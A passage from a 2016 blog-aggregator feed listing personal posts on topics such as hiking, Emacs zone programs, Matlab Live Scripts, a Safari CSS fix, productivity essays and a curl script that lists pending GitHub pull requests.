code to create social networks from the plays.&lt;/p&gt;
&lt;p&gt;Let the age of &lt;em&gt;Bard Data&lt;/em&gt; begin!&lt;/p&gt;</description><author>Ecce Homology on Bastian Grossenbacher Rieck's personal homepage</author><pubDate>Sun, 19 Jun 2016 21:33:58 GMT</pubDate><guid isPermaLink="true">https://bastian.rieck.me/blog/2016/introduction_shakespeare_social_network_analysis/</guid></item><item><title>The art of being chill</title><link>http://dimitarsimeonov.com/2016/06/19/the-art-of-being-chill</link><description>&lt;p&gt;I was in an Uber taxi, discussing the economics of driving for Uber
and ideas about how to learn coding with the driver. A car cut in
front of ours and forced my driver to slow down.&lt;/p&gt;

&lt;p&gt;I switched the topic “… he didn’t have the right of way”.  I was
purposefully trying not to react negatively and to not get angry. I
though I was doing pretty good. But then the driver actually went even
further “It doesn’t bother me. If I got bothered by stuff like that
I’d come back home exhausted and nervous by the end of the day.”&lt;/p&gt;

&lt;p&gt;This driver gave a lesson in being calm and composed that I wouldn’t
be able to receive from a Buddhist monk who had been meditating for a
month. The driver had figured out that he should not minimize
annoyances by others, he must stop getting annoyed himself.&lt;/p&gt;

&lt;p&gt;As a side effect, he was able to save his precious sanity and energy
by decided not to get annoyed and affected by the actions of others.
To simply accept that unfortunate things will happen, and react by
staying calm not just externally, but also internally.&lt;/p&gt;

&lt;p&gt;We are a lesser version of ourselves when we get annoyed or angry. But
we have the power to choose not to be angry and not to be
annoyed. Especially when losing our time and money, or facing danger
or a hard situation. We just gotta stay chill no matter what.&lt;/p&gt;</description><author>D13V</author><pubDate>Sun, 19 Jun 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">http://dimitarsimeonov.com/2016/06/19/the-art-of-being-chill</guid></item><item><title>Starting a Snap site with Stack and Persistent</title><link>https://3059274a.danpalmer-me.pages.dev/2016-06-19-starting-snap/</link><description>Following on from my previous post about Haskell web frameworks, I&amp;rsquo;ve dived into making a non-trivial web application, with type-safe database access.</description><author>Dan Palmer</author><pubDate>Sun, 19 Jun 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://3059274a.danpalmer-me.pages.dev/2016-06-19-starting-snap/</guid></item><item><title>Why Team Happiness can be the Worst Thing to Aim for</title><link>https://jaimemartinez.nl/blog/2016/06/18/team-happiness-can-worst-thing-aim/</link><description>&lt;p&gt;Very interesting talk about organizations, teams and viewing problems in equanimity instead?of letting emotions run with you / other and lettings the ego have its way with us.&lt;/p&gt;
&lt;p&gt;The post &lt;a href="https://jaimemartinez.nl/blog/2016/06/18/team-happiness-can-worst-thing-aim/"&gt;Why Team Happiness can be the Worst Thing to Aim for&lt;/a&gt; appeared first on &lt;a href="https://jaimemartinez.nl"&gt;Jaime Martinez&lt;/a&gt;.&lt;/p&gt;</description><author>Jaime Martinez</author><pubDate>Sat, 18 Jun 2016 16:04:14 GMT</pubDate><guid isPermaLink="true">https://jaimemartinez.nl/blog/2016/06/18/team-happiness-can-worst-thing-aim/</guid></item><item><title>The never ending trail</title><link>http://dimitarsimeonov.com/2016/06/18/the-never-ending-trail</link><description>&lt;p&gt;About a week ago I was near crater lake and went hiking on a portion
of the pacific crest trail (PCT). I expected that the snow will have melted
by June. Instead, the forest floor was covered by nearly a meter of
snow and we had to walk through snow, and follow small markers posted
on the trees in order to keep on the trail.&lt;/p&gt;

&lt;p&gt;We went about four or five miles into the trail. At every step we
needed to keep looking up on the trunks for the blue diamond-shaped
signs which marked the PCT. Instead of looking down at our feet, we
had to look up and observe every obstacle.&lt;/p&gt;

&lt;p&gt;For six hours we were fully immersed on the trail. It felt
infinite. At every step we had to pay our fullest attention to the
forest, because if we didn’t, we would have ended up lost. This was
not a heavy season, in fact at some parts of the trail, the only
footsteps in the snow were ours.&lt;/p&gt;

&lt;p&gt;I wondered what would it feel like to be hiking on this trail for
days. Day after day, everything around is forest. No other people to
worry about and no Internet. I’d wake up in the forest, walk all day
in the forest, camp in the forest. I’ll repeat and repeat and
repeat. I would forget about the rest of the civilization.&lt;/p&gt;

&lt;p&gt;A trail head by the road would become just another marker on the
way. There might be cities, campgrounds, rivers close by, but they are
not part of the trail. They wouldn’t exist for me, and I wouldn’t
even be aware of what I’m missing.&lt;/p&gt;

&lt;p&gt;And maybe that’s the point. A trail like the PCT, more than two
thousand miles long, would take multiple months to finish. This seems
physically painful, but even more devastating mentally. I watched the
movie “Wild”, based on a true story, and the heroine started on the
PCT without any training or wilderness knowledge. And yet, she was
able to complete it, while other more experienced hikers gave up. She
had a strong emotional decision to continue. It was a hard moment in
her life and that trail was the way forward. Physically it was not a
life-and-death, but mentally, it was.&lt;/p&gt;

&lt;p&gt;An extreme situation tests the limits of our emotional decision. I ran
a marathon, but I was not fully prepared physically. At mile 22 I was
done. I couldn’t move any more. I hit the wall. But I had determined
to finish because I wanted to know how does it feel to be able to
finish a marathon. So I kept going, often walking, but I still
finished. I finished because I made a strong emotional decision to
finish, not because I was in a great shape.&lt;/p&gt;

&lt;p&gt;People who finish the PCT, would cover a marathon-sized distance every
day, for months. Their emotional decision is a lot stronger.&lt;/p&gt;

&lt;p&gt;On an endless trail, it is not possible to half ass the way
through. If anyone does, you they’d get lost, or slip and die.&lt;/p&gt;

&lt;p&gt;I think that the never ending trail is a good metaphor for life. I
might be just following the marking signs, or might have an idea of
where the trail will go but don’t know the exact route. Or I might
decide to step away from the path. Either case, might as well enjoy
every step and not rush through it.&lt;/p&gt;

&lt;p&gt;To fully go through it requires a strong mental dedication. In the
absence of grave personal shocks, where is the motivation source? I
don’t know for sure, but I’m guessing that I can find motivation in
life itself. Remembering that every trail has an end eventually, and
making the most of the way.&lt;/p&gt;</description><author>D13V</author><pubDate>Sat, 18 Jun 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">http://dimitarsimeonov.com/2016/06/18/the-never-ending-trail</guid></item><item><title>Sense8: Season 1</title><link>https://olshansky.info/tv/sense8_season_1/</link><description>Olshansky's review of Sense8: Season 1</description><author>🦉 olshansky 🦁</author><pubDate>Fri, 17 Jun 2016 19:38:10 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/tv/sense8_season_1/</guid></item><item><title>Pushing Bits with Python</title><link>http://blog.untrod.com/2016/06/pushing-bits-with-python.html</link><description>&lt;p&gt;When was the last time you needed to directly manipulate a bunch of
binary data? Most engineers run
across it only in the context of bit flags and masks in C++ or Java.&lt;/p&gt;
&lt;p&gt;It's a little rarer to muck about with direct binary file
data. It's nonetheless quite a bit …&lt;/p&gt;</description><author>Untrod</author><pubDate>Fri, 17 Jun 2016 10:00:00 GMT</pubDate><guid isPermaLink="true">http://blog.untrod.com/2016/06/pushing-bits-with-python.html</guid></item><item><title>Emacs and emotional vocab</title><link>https://xenodium.com/emacs-and-emotional-vocab</link><description>&lt;p&gt;Having read &lt;a href="http://www.nytimes.com/2016/06/05/opinion/sunday/are-you-in-despair-thats-good.html"&gt;Are You in Despair? That’s Good&lt;/a&gt;, I was encouraged to expand my emotional vocabulary. As a &lt;a href="https://github.com/emacs-mirror/emacs/blob/master/lisp/play/zone.el"&gt;zone.el&lt;/a&gt; fan (checkout &lt;a href="https://github.com/wasamasa/zone-nyan"&gt;nyan&lt;/a&gt;, &lt;a href="https://github.com/kawabata/zone-sl"&gt;sl&lt;/a&gt;, and &lt;a href="https://github.com/kawabata/zone-rainbow"&gt;rainbow&lt;/a&gt;), I looked into writing a zone &lt;a href="https://github.com/emacs-mirror/emacs/blob/master/lisp/play/zone.el#L52"&gt;program&lt;/a&gt;. When &lt;em&gt;zone-when-idle&lt;/em&gt; is set, zone acts as a screensaver of sorts. We can use this to display random emotional vocab whenever Emacs is idle for a period of time. Let's get to it…&lt;/p&gt;
&lt;p&gt;Zone keeps a list of programs to choose from when kicked off. Below is a basic &lt;em&gt;zone-hello&lt;/em&gt; program, along with an interactive command for previewing. Not much to these. The tiny program prepares the screen for zoning and inserts text while no input is pending.&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.commonlisp"&gt;(defun zone-hello ()
  (delete-other-windows)
  (setq mode-line-format nil)
  (zone-fill-out-screen (window-width) (window-height))
  (delete-region (point-min) (point-max))
  (goto-char (point-min))
  (while (not (input-pending-p))
    (insert &amp;quot;hello zone\n&amp;quot;)
    (zone-park/sit-for (point-min) 0.2)))

(defun zone-hello-preview ()
  (interactive)
  (let ((zone-programs [zone-hello]))
    (zone)))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here's what &lt;em&gt;zone-hello&lt;/em&gt; looks like:&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://xenodium.github.io/images/emacs-and-emotional-vocab/minimal-zone.gif" /&gt;&lt;/p&gt;
&lt;p&gt;Back to improving our emotional vocabulary, we'll need a dictionary for our goal. A quick search yields a potential list of &lt;a href="http://www.psychpage.com/learning/library/assess/feelings.html"&gt;words&lt;/a&gt;. We can use &lt;a href="http://wordnet.princeton.edu/"&gt;WordNet&lt;/a&gt; to define them while offline. These two sources will do for now. We tie it all together in &lt;a href="https://github.com/xenodium/dotfiles/blob/master/emacs/ar/zone-words.el"&gt;zone-words.el&lt;/a&gt; and the resulting zone program looks as follow:&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://xenodium.github.io/images/emacs-and-emotional-vocab/emotions.gif" /&gt;&lt;/p&gt;
&lt;p&gt;UPDATE: Just came across &lt;a href="http://blog.josephwilk.net/art/emacs-animation.html"&gt;Animations With Emacs&lt;/a&gt;. A post with awesome zone examples.&lt;/p&gt;</description><author>xenodium.com @alvaro</author><pubDate>Fri, 17 Jun 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/emacs-and-emotional-vocab</guid></item><item><title>Can hybrid apps cut your mobile development costs?</title><link>https://goshacmd.com/cut-mobile-costs/</link><author>Gosha Spark</author><pubDate>Fri, 17 Jun 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://goshacmd.com/cut-mobile-costs/</guid></item><item><title>Computer Systems: A Programmer's Perspective</title><link>https://june.kim/computer-systems-a-programmers-perspective/</link><author>june.kim</author><pubDate>Wed, 15 Jun 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://june.kim/computer-systems-a-programmers-perspective/</guid></item><item><title>EveGenie makes Eve schema generation a breeze</title><link>https://nicolaiarocci.com/evegenie-makes-eve-schema-generation-breeze/</link><description>&lt;p&gt;Released by the nice folks at Drud, &lt;a href="https://github.com/drud/evegenie"&gt;EveGenie&lt;/a&gt; is a tool for making &lt;a href="http://python-eve.org"&gt;Eve&lt;/a&gt; schema generation easier.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Eve’s schema definitions are full of features, but can take a good amount of time to create when dealing with lots of complex resources. From our experience, it’s often helpful to describe an endpoint in JSON before creating it as an Eve schema. This allows you to make quick decisions about the structure of your entities without spending time moving schema code around. This is where EveGenie comes in.&lt;/p&gt;</description><author>Nicola Iarocci</author><pubDate>Wed, 15 Jun 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://nicolaiarocci.com/evegenie-makes-eve-schema-generation-breeze/</guid></item><item><title>Teaching with Matlab Live Scripts</title><link>https://bastibe.de/2016-06-15-matlab-live-scripts.html</link><description>&lt;p&gt;For a few years now, I have been teaching programming courses using &lt;em&gt;notebooks&lt;/em&gt;. A notebook is an interactive document that can contain code, results, graphs, math, and prose. It is the perfect teaching tool:&lt;/p&gt;
&lt;p&gt;You can combine introductory resources with application examples, assignments, and results. And after the lecture, students can refer to these notebooks at their leisure, and re-run example code, or try different approaches with known data.&lt;/p&gt;
&lt;p&gt;The first time I saw this was with the &lt;a href="http://jupyter.org/"&gt;Jupyter notebook&lt;/a&gt; (née IPython notebook). I immediately used it for teaching an introductory programming course in Python.&lt;/p&gt;
&lt;p&gt;Later, I took over a Matlab course, but Matlab lacked a notebook. So for the next two years of teaching Matlab, I hacked up a small IPython extension that allowed me to run Matlab code in an Jupyter notebook as a cell magic.&lt;/p&gt;
&lt;p&gt;Now, with 2016a, Matlab introduced &lt;a href="http://de.mathworks.com/help/releases/R2016a/matlab/live-scripts.html"&gt;Live Scripts&lt;/a&gt;, which is Mathworkian for notebook. This blog post is about how Live Scripts compare to Jupyter notebooks.&lt;/p&gt;
&lt;p&gt;First off, Live Scripts &lt;em&gt;work&lt;/em&gt;. The basic functionality is there: Code, prose, figures, and math can be saved in one document; The notebook can be exported as PDF and HTML, and Students can download the notebook and play with it. This latter part was not possible with my homegrown solution earlier.&lt;/p&gt;
&lt;p&gt;However, Live Scripts are new, and still contain a number of bugs. You can't customize figure sizes, formatting options are very basic, image rendering is terrible, and math rendering using LaTeX is of poor quality and limited. Also, using Live Scripts on a retina Mac is borderline impossible: Matlab crashes on screen resolution changes (i.e. connecting a projector), Live Scripts render REALLY slowly (type a word, watch the characters crawl onto the screen one by one), and all figures export in twice their intended size (fixed in 2016b). You can work around some of these issues by starting Matlab in &lt;a href="https://support.apple.com/en-us/HT202471"&gt;Low Resolution Mode&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;No doubt some of these issues are going to get addressed in future releases. 2016b added script-local functions, which I read mostly as &amp;quot;you can now write functions in Live Scripts&amp;quot;, and autocorrection-like text replacements that convert Markdown formatting into formatted text. This is highly appreciated.&lt;/p&gt;
&lt;p&gt;Additionally though, here are a few features I would love to see:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Nested lists, and lists entries that contain newlines (i.e. differentiate between line breaks and paragraph breaks).&lt;/li&gt;
&lt;li&gt;Indented text, for quoting things, or to work around the lack of multi-line list entries.&lt;/li&gt;
&lt;li&gt;More headline levels.&lt;/li&gt;
&lt;li&gt;Magics. This is probably a long shot, but line/cell magics in Jupyter notebooks are really useful.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Still, all griping aside, I want to reiterate that Live Scripts &lt;em&gt;work&lt;/em&gt;. They aren't quite as nice as Jupyter notebooks, but they serve their purpose, and are a tremendously useful teaching tool.&lt;/p&gt;</description><author>bastibe.de</author><pubDate>Wed, 15 Jun 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://bastibe.de/2016-06-15-matlab-live-scripts.html</guid></item><item><title>Writing Again</title><link>https://solomon.io/writing-again/</link><description>It’s funny. When you learn to ride a bike—you’ve got it. Hop back on a bike after a few years and you still remember.</description><author>Sam Solomon</author><pubDate>Wed, 15 Jun 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://solomon.io/writing-again/</guid></item><item><title>Change to position fixed on iOS Safari while scrolling</title><link>https://muffinman.io/blog/ios-safari-scroll-position-fixed/</link><description>&lt;article class="article"&gt;&lt;p&gt;If you ever had to fix element on scroll, you probably had an issue on iOS Safari (and other mobile devices).
Element will usually flicker, and disappear until scrolling has stopped completely.&lt;/p&gt;
&lt;p&gt;Just force GPU acceleration by adding &lt;code&gt;transform: translate3d(0,0,0);&lt;/code&gt; to your element.&lt;/p&gt;
&lt;p&gt;You will have something like this:&lt;/p&gt;
&lt;pre class="language-css"&gt;&lt;code class="language-css code-highlight"&gt;&lt;span class="code-line"&gt;&lt;span class="token selector"&gt;&lt;span class="token class"&gt;.Element-header&lt;/span&gt;&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token property"&gt;transform&lt;/span&gt;&lt;span class="token punctuation"&gt;:&lt;/span&gt; &lt;span class="token function"&gt;translate3d&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token number"&gt;0&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;&lt;span class="token number"&gt;0&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;&lt;span class="token number"&gt;0&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token punctuation"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token selector"&gt;&lt;span class="token class"&gt;.Element-header--fixed&lt;/span&gt;&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token property"&gt;top&lt;/span&gt;&lt;span class="token punctuation"&gt;:&lt;/span&gt; &lt;span class="token number"&gt;0&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token property"&gt;position&lt;/span&gt;&lt;span class="token punctuation"&gt;:&lt;/span&gt; fixed&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token punctuation"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Enjoy &lt;code&gt;¯\_(ツ)_/¯&lt;/code&gt;&lt;/p&gt;
&lt;h3 id="update-if-the-element-inside-fixed-one-flickers"&gt;Update, if the element inside fixed one flickers &lt;a class="anchor-link" href="#update-if-the-element-inside-fixed-one-flickers"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;In the comments Matt made a great tip, so I&amp;#x27;m adding it here as well:&lt;/p&gt;
&lt;p&gt;If you are styling the element within fixed element,
you need to apply the &lt;code&gt;translate3d&lt;/code&gt; hack to the nested element
in order for it to not flicker/disappear.&lt;/p&gt;
&lt;p&gt;Thanks Matt!&lt;/p&gt;&lt;/article&gt;</description><author>Muffin Man</author><pubDate>Wed, 15 Jun 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://muffinman.io/blog/ios-safari-scroll-position-fixed/</guid></item><item><title>Dimes, demons, and desperation</title><link>https://zrkrlc.com/notes/dimes-demons-and-desperation/1465884540/</link><description>Note: I'm currently publishing pieces from my vault. This was supposed to be published on 2016 July 31 when I was on the fence about dropping out. In the end, I didn't.n. a carbohydrate-rich environment composed of "virtual reality", "startups", and a bunch of empty space in betweenn. where I currently find myself in</description><author>Junk Heap Homotopy</author><pubDate>Tue, 14 Jun 2016 09:09:00 GMT</pubDate><guid isPermaLink="true">https://zrkrlc.com/notes/dimes-demons-and-desperation/1465884540/</guid></item><item><title>What's Wrong with WWDC 2016 Keynote?</title><link>https://ashvardanian.com/posts/whats-wrong-with-wwdc-2016/</link><description>An iOS developer's critique of Apple's 2016 keynote — when emojis and animations overshadowed the innovations developers actually needed.</description><author>Ash's Blog</author><pubDate>Tue, 14 Jun 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ashvardanian.com/posts/whats-wrong-with-wwdc-2016/</guid></item><item><title>Enabling Yubikey U2F support in Linux</title><link>https://thomashunter.name/posts/2016-06-14-enabling-yubikey-u2f-support-in-linux</link><author>Thomas Hunter II</author><pubDate>Tue, 14 Jun 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://thomashunter.name/posts/2016-06-14-enabling-yubikey-u2f-support-in-linux</guid></item><item><title>Links - June 13th, 2016</title><link>https://faingezicht.com/links/2016/06/13/links/</link><description/><author>Avy Faingezicht</author><pubDate>Mon, 13 Jun 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2016/06/13/links/</guid></item><item><title>Here and There</title><link>https://faingezicht.com/photos/2016/06/12/here-there/</link><description>It has been a while since my last post, so here is some random stuff from the last month and a half around San Francisco.</description><author>Avy Faingezicht</author><pubDate>Sun, 12 Jun 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/photos/2016/06/12/here-there/</guid></item><item><title>Half ass</title><link>http://dimitarsimeonov.com/2016/06/12/half-ass</link><description>&lt;p&gt;What does it mean to half-ass something? It means to do less than
you’re able to do. To cut corners. To be mediocre. To sacrifice “being
effective” for “being efficient”.&lt;/p&gt;

&lt;p&gt;I have a hunch that half-assing any task is not worth it. That it is
better to just drop, abort and cancel tasks and obligations which we
cannot do at maximum quality.&lt;/p&gt;

&lt;p&gt;Lets look at an example. A young professional usually has a demanding
job and personal relationships, but may also have other hobbies and
obligations. They might enjoy doing sports, following up with TV
shows, cooking, taking care of a pet, traveling. When you add up all
of these, it is a lot. If they try to do all of these to the greatest
extent possible, they simply would not have enough hours in the day.&lt;/p&gt;

&lt;p&gt;If they drop one of the these projects, then suddenly they have more
freedom and capacity to dedicate to their other activities others.&lt;/p&gt;

&lt;p&gt;I believe that it is more rewarding to spend our effort in making
things that are already good to be great, instead of getting mediocre
things to be better.&lt;/p&gt;

&lt;p&gt;If the same yuppie has multiple projects at work, are they more
productive than if they have a single project? No. They may be more
busy, but having to split their attention causes a lot of
overhead. Every time the yuppie switches their main focus, they are
not productive until they get to remember all the details.&lt;/p&gt;

&lt;p&gt;They are half-assing both projects.&lt;/p&gt;

&lt;p&gt;Instead of having 8 or 10 productive hours, they only have 6 or 8. And
that’s a generous estimate. Furthermore, since they only spend less
than half the time and effort on each project, they don’t get far. It
would take at least double the time to complete each project.&lt;/p&gt;

&lt;p&gt;From the employer’s view point, this slowness is bad. Widgets and
features take longer to reach customers, and time is money. The
manager might delegate one of the projects to another employee, or to
ask the yuppie to do their projects in serial, and not in parallel.
Doing the two projects in serial is more efficient and will result in
earlier completion date for &lt;em&gt;both&lt;/em&gt; projects. All features and all
widgets will reach the customer sooner if the yuppie does them in
serial.&lt;/p&gt;

&lt;p&gt;Here is the caveat. Both the yuppie, and their employer need to be
chill. If they worry about the next project, they will not focus on
the current project and will make things slower.&lt;/p&gt;

&lt;p&gt;To know the second project is there but to not worry about it requires
discipline. This is hard. I am often a bit ADHD, so it is easy for me
to get distracted. And when I get distracted, I essentially forfeit my
time. Of course, I take breaks. But I like it best when the break I took
helps me return invigorated to my activity, instead of getting me to
switch my focus away from the task.&lt;/p&gt;

&lt;p&gt;Trying to do too many different things at once and half-assing is not
practical. But even more against it, I think it is a bad way to
live. I get satisfaction of doing things well. And that’s the best
reason for me to simplify and to do fewer things better.&lt;/p&gt;

&lt;p&gt;One of the moments I remember fondly, is when I finished writing
my master thesis. It is an OK thesis, it is not the most amazing one
in the world, and it doesn’t even stand out among the other theses
written in the same year. But to get it done, I worked harder than I
ever had worked before and getting it done was the largest, most
sophisticated achievement in my life until then.&lt;/p&gt;

&lt;p&gt;I did not half-ass it. Not according to my abilities then. I worked as
hard and as thoughtful as I could, and then more. If I need to do
something similar now, I can half-ass it and get a better overall
result. But I like to grade myself against the limit of my
abilities. If I am not reaching it, life is dull.&lt;/p&gt;

&lt;p&gt;What I yearn for is life that’s full of moments where I reach beyond
what I thought was 100%. The full-ass life.&lt;/p&gt;</description><author>D13V</author><pubDate>Sun, 12 Jun 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">http://dimitarsimeonov.com/2016/06/12/half-ass</guid></item><item><title>C++ variadic templates</title><link>https://studiofreya.org/cpp/cpp-templates/cpp-variadic-templates/</link><description>&lt;h1 id="variadic-templates"&gt;Variadic templates&lt;/h1&gt;
&lt;p&gt;Variadic templates are templates accepting any number of template parameters.&lt;/p&gt;
&lt;p&gt;To understand the need for &lt;code&gt;variadic templates&lt;/code&gt;, we&amp;rsquo;ll have to look at the history. As far as my research can tell, the first C compiler to support &lt;code&gt;variadic methods&lt;/code&gt; was the WatCom C compiler from 1990s the first to support variable number of elements.&lt;/p&gt;
&lt;p&gt;The concept of having variable number of elements, is much older. It&amp;rsquo;s a mathematical term for functions taking any number of parameters, like the sum of a group of numbers.&lt;/p&gt;</description><author>Studiofreya SSG Site</author><pubDate>Sat, 11 Jun 2016 21:15:41 GMT</pubDate><guid isPermaLink="true">https://studiofreya.org/cpp/cpp-templates/cpp-variadic-templates/</guid></item><item><title>June 2016 Project List</title><link>https://venam.net/blog/programming/2016/06/12/june-2016-project.html</link><description>Hello fellow readers, In this post I’ll list some of the projects and experiments I’m working on or just finished.  My last projects update was in February.</description><author>Venam's Blog — Patrick Louis (Lebanon)</author><pubDate>Sat, 11 Jun 2016 20:00:00 GMT</pubDate><guid isPermaLink="true">https://venam.net/blog/programming/2016/06/12/june-2016-project.html</guid></item><item><title>Get a Job</title><link>https://olshansky.info/movie/get_a_job/</link><description>Olshansky's review of Get a Job</description><author>🦉 olshansky 🦁</author><pubDate>Sat, 11 Jun 2016 07:46:13 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/get_a_job/</guid></item><item><title>Expansion</title><link>https://june.kim/expansion/</link><author>june.kim</author><pubDate>Sat, 11 Jun 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://june.kim/expansion/</guid></item><item><title>2016-06-11</title><link>https://ho.dges.online/pictures/2016-06-11/</link><description>&lt;p&gt;This shot took 86 attempts to get as trying to co-ordinate the penguins and the children proved&amp;hellip; challenging.&lt;/p&gt;</description><author>ho.dges.online</author><pubDate>Sat, 11 Jun 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2016-06-11/</guid></item><item><title>Taxi Strava</title><link>https://www.ryancompton.net/2016/06/11/taxi-strava.html</link><description>Last year Chris Whong used a foil request to obtain a dataset with information on the locations, times, and medallions for 173 million NYC cab rides. I’m interested is determining which cabs are the fastest cabs are and how quickly they can get between various parts of the city.</description><author>Ryan Compton</author><pubDate>Sat, 11 Jun 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.ryancompton.net/2016/06/11/taxi-strava.html</guid></item><item><title>Check for Pull Requests in All Your Repos</title><link>https://peterlyons.com/problog/2016/06/check-for-pull-requests-in-all-your-repos/</link><description>&lt;p&gt;My current work involves many microservice (ish) node.js projects. Each has its own git repository hosted on github. My team follows a pull request workflow requiring all code to hit our main branch via pull request. We have slack chat integration so we can see when a new pull request is created, but even with that I found myself confused about whether or not there were any pending pull requests that I needed to review.&lt;/p&gt;
&lt;p&gt;Scripting to the rescue! Here's what I did to quickly see a list of each repository and the title of each pending pull request. I hacked this together with cURL, an npm command line module named &lt;a href="https://www.npmjs.com/package/json"&gt;json&lt;/a&gt;,  and a few lines of shell scripts. Here's the breakdown:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Log in to your github account and visit the &lt;a href="https://github.com/settings/tokens"&gt;personal access tokens&lt;/a&gt; settings page&lt;/li&gt;
&lt;li&gt;Click the button to generate a new access token. Give it a clear name like "Pull Request Status Script". Check the "repo" scope checkbox
&lt;ul&gt;
&lt;li&gt;I believe this is the most specific/limited/correct permission, but if you know a way to grant read-only access to pull requests in a private repo, please let me know via disqus comment below.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Click "Generate Token", copy it, and save it to a file. You can do this on OS X with the command line &lt;code&gt;pbpaste&lt;/code&gt; utility. For example: &lt;code&gt;pbpaste &amp;gt; ~/.github-pr-status-token.txt&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Tighten permissions on that: &lt;code&gt;chmod 400 ~/.github-pr-status-token.txt&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Install the npm module json: &lt;code&gt;npm install -g json&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Now you're ready to add this shell script to your shell profile:&lt;/p&gt;
&lt;pre class="language-sh "&gt;&lt;code class="language-sh"&gt;check_pull_requests() {
  local organization=&amp;quot;YourGithubOrg&amp;quot; # Edit this
  for repo in repo-1 repo-2 repo-3 repo-4; do # Edit this repo list
    echo &amp;quot;* ${repo}&amp;quot;
    curl \
      --silent \
      --header &amp;quot;Authorization: token $(cat ~&amp;#x2f;.github-pr-status-token.txt)&amp;quot; \
      &amp;quot;https:&amp;#x2f;&amp;#x2f;api.github.com&amp;#x2f;repos&amp;#x2f;${organization}&amp;#x2f;${repo}&amp;#x2f;pulls&amp;quot; \
      | json -a title html_url
  done
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The output will look something like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;* repo-1
Update config for Heroku https:&amp;#x2f;&amp;#x2f;github.com&amp;#x2f;YourGithubOrg&amp;#x2f;repo-1&amp;#x2f;pull&amp;#x2f;13
* repo-2
* repo-3
Fix Bug #42 https:&amp;#x2f;&amp;#x2f;github.com&amp;#x2f;YourGithubOrg&amp;#x2f;repo-3&amp;#x2f;pull&amp;#x2f;42
* repo-4
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I hope you find this useful. Get those PRs reviewed quickly!&lt;/p&gt;</description><author>Pete's Points</author><pubDate>Thu, 09 Jun 2016 18:11:35 GMT</pubDate><guid isPermaLink="true">https://peterlyons.com/problog/2016/06/check-for-pull-requests-in-all-your-repos/</guid></item><item><title>A Simple Content-Based Recommendation Engine in Python</title><link>http://blog.untrod.com/2016/06/simple-similar-products-recommendation-engine-in-python.html</link><description>&lt;p&gt;Let's pretend we need to build a recommendation engine for an
eCommerce web site.&lt;/p&gt;
&lt;p&gt;There are basically two approaches you can take:
content-based and collaborative-filtering. We'll look at some pros and
cons of each approach, and then we'll dig into a
&lt;a href="https://github.com/groveco/content-engine/blob/master/engines.py"&gt;simple implementation&lt;/a&gt;
